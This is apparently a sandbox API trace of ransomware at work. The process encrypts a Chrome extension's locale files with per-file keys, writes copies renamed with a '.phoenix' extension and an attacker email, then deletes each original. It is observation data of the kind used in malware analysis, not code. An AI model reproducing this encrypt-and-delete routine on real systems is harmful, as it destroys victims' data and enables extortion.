	[0254.594] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0254.594] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.594] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xea, lpOverlapped=0x0) returned 1
	[0254.595] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0254.595] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0254.596] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0254.596] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.596] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.596] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.596] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.596] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.596] CloseHandle (hObject=0x2b4) returned 1
	[0254.596] CloseHandle (hObject=0x300) returned 1
	[0254.596] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json")) returned 1
	[0254.597] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.597] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.598] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=274) returned 1
	[0254.598] CloseHandle (hObject=0x300) returned 1
	[0254.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json")) returned 0x20
	[0254.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.599] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.599] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0254.599] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.599] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x112, lpOverlapped=0x0) returned 1
	[0254.600] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0254.600] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0254.601] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0254.601] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.601] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.601] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.601] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.602] CryptDestroyKey (hKey=0x151140) returned 1
	[0254.602] CloseHandle (hObject=0x300) returned 1
	[0254.602] CloseHandle (hObject=0x2b4) returned 1
	[0254.602] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json")) returned 1
	[0254.603] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.603] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=214) returned 1
	[0254.604] CloseHandle (hObject=0x2b4) returned 1
	[0254.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json")) returned 0x20
	[0254.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.604] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.604] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.604] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0254.604] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.604] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd6, lpOverlapped=0x0) returned 1
	[0254.605] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0254.605] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0254.607] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1511c0) returned 1
	[0254.607] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.607] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.607] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0254.607] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.607] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.607] CloseHandle (hObject=0x2b4) returned 1
	[0254.607] CloseHandle (hObject=0x300) returned 1
	[0254.607] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json")) returned 1
	[0254.608] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.608] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=215) returned 1
	[0254.608] CloseHandle (hObject=0x300) returned 1
	[0254.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json")) returned 0x20
	[0254.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.609] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.609] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.609] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0254.609] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.609] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd7, lpOverlapped=0x0) returned 1
	[0254.610] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0254.610] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0254.611] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0254.611] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.611] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.611] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.611] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.611] CryptDestroyKey (hKey=0x151780) returned 1
	[0254.611] CloseHandle (hObject=0x300) returned 1
	[0254.611] CloseHandle (hObject=0x2b4) returned 1
	[0254.611] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json")) returned 1
	[0254.612] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.612] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=223) returned 1
	[0254.613] CloseHandle (hObject=0x2b4) returned 1
	[0254.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json")) returned 0x20
	[0254.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.613] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.613] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.613] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.613] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.613] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0254.613] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.613] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdf, lpOverlapped=0x0) returned 1
	[0254.763] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0254.763] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0254.763] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0254.763] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.763] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.763] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.763] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.764] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.764] CloseHandle (hObject=0x2b4) returned 1
	[0254.764] CloseHandle (hObject=0x300) returned 1
	[0254.764] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json")) returned 1
	[0254.765] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
